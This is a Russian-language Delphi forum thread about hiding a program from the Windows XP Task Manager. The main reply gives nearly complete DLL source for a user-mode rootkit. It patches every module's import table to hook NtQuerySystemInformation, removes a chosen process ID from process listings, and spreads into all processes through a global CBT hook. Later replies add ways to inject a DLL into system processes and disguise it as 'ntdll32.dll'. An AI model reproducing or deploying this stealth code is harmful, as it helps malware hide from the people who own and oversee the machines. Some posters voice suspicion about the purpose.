Добрый день! Напишите пожайлуста пример каким образом по средствам delphi можно запретить показ моей программы при нажатии ctrl-alt-del в WinXP, я что-то слышал про функцию NtQuerySystemInformation и что её как-то можно обойти.
Уважаемые авторы вопросов! Большая просьба сообщить о результатах решения проблемы на этой странице. Иначе, следящие за обсуждением, возможно имеющие аналогичные проблемы, не получают ясного представления об их решении. А авторы ответов не получают обратной связи. Что можно расценивать, как проявление неуважения к отвечающим от автора вопроса.
12-02-2004 08:34
Обманываем функцию NtQuerySystemInformation
Прячет процесс в списке процессов диспетчера
задач, хотя в FAR'е, в ProcessList всё видно.
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of 0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
/////////// вырезки из uses ///////////////////
const ImagehlpLib = 'IMAGEHLP.DLL';
function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib name 'ImageDirectoryEntryToData';
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
//////////////////////////////
procedure ReplaceIATEntryInOneMod(pszCallerModName:Pchar;pfnCurrent:FarProc;pfnNew:FARPROC;hmodCaller:hModule);
var ulSize:ULONG; pImportDesc:PIMAGE_IMPORT_DESCRIPTOR;pszModName:PChar;
pThunk:PDWORD; ppfn:PFARPROC;ffound:LongBool;written:DWORD;
begin
pImportDesc := ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation:Pointer;
mypid:DWORD;
fname:PCHAR;
mapaddr:PDWORD;
hideOnlyTaskMan:PBOOL;
{ По материалам Wasm.ru}
function myNtQuerySystemInfo(SystemInformationClass:SYSTEM_INFORMATION_CLASS;SystemInformation:Pointer;
SystemInformationLength:ULONG;ReturnLength:PULONG):LongInt;stdcall;
label onceagain,getnextpidstruct,quit,fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsInformation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;
procedure InterceptFunctions;
var hSnapShot:THandle;me32:MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var hSnapShot:THandle;me32:MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;
procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD):BOOL;stdcall;
var addrMap:PDWORD;ptr2:PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;
exports
HideProcess;
var
hmap:THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason=DLL_PROCESS_DETACH then
if mypid>0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
/// if not (ExtractFileName(fname)='taskmgr.exe') then exit; // без нее работает пучком, но если охота-мона и сотворить своими силами аналог
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.
В Windows® 9x можно было так:
RegisterServiceProcess(nil, RSP_SIMPLE_SERVICE), но с ядром НТ уже не прокатит...
NTQuerySystemInformation в SDK не определена, приходится использовать различные обёртки, вроде EnumProcess, CreateToolHelp32Snapshot, etc. Все они используют эту функцию ( в NT).
А от неё не спрячешься :)
Хотя можно ЗАПРЕТИТЬ Ctrl+Alt+Del (функция SystemParametersInfo) на время работы программы. Или запускаться не как процесс, а в качестве нити (thread) какого-нибудь процесса ( попробуй, угадай, сколько должно быть в настоящий момент нитей у того же Проводника? Но, опять же, есть "продвинутые" менеджеры задач, они расскажут всё не только о процессе, но и об отдельной его нити).
А конкретно по вопросу - уже несколько лет обсуждается эта тема, но "обойти" NTQuerySystemInformation не получилось... Хотя, может быть, я что-то упустил.
>>> To MK
Согласен. Однако в компьютерных клубах в основном стоят Win9x и сокрытие процессов в их TaskManager - дело пары строчек кода. Для XP - да, процесс не скроешь, но можно извратиться и запретить завершение процесса методом API Hooks. Более сложное решение - писать драйвер.
2 автор вопроса
боюсь, что под управлением Windows NT (XP в частности) Вам не удастся скрыть приложение, разве что заменить Task Manager?
2 GreMiGen
не всегда :) возьмем к примеру, компьютерные игровые клубы, куда приходит множество людей, и иногда их нужно контролировать. мысль настолько очевидная, что даже развивать не хочется :)
...Только одно дополнение: я и, наверняка, Александр тоже, надеемся, что это не очередной вирь или троян.
P.S. Все-таки не понимаю, зачем прятать процесс? Ведь антивирусы, firewall'ы и даже системные процессы не прячутся, однако завершение последних чревато серьезными последствиями. Почему бы тогда дяде Билли не попрятать от "глупых юзеров" все системные процессы? Пользователь всегда должен знать, что запущено на его машине.
Можно оформить программу в виде DLL и сделать для нее загрузчик, который функцией CreateRemoteThread будет цеплять ее к какому-нибудь системному процессу. В диспетчере ее не будет видно. А если смотреть очень детально, то можно будет найти DLL-ку, но обычно без серьезных причин никто не будет просматривать список всех загруженых модулей, к тому же можно назваться как-ниюудь типа ntdll32.dll. Пример загрузчика см. вопрос №17562.
Если вы заметили орфографическую ошибку на этой странице, просто выделите ошибку мышью и нажмите Ctrl+Enter. Функция может не работать в некоторых версиях броузеров.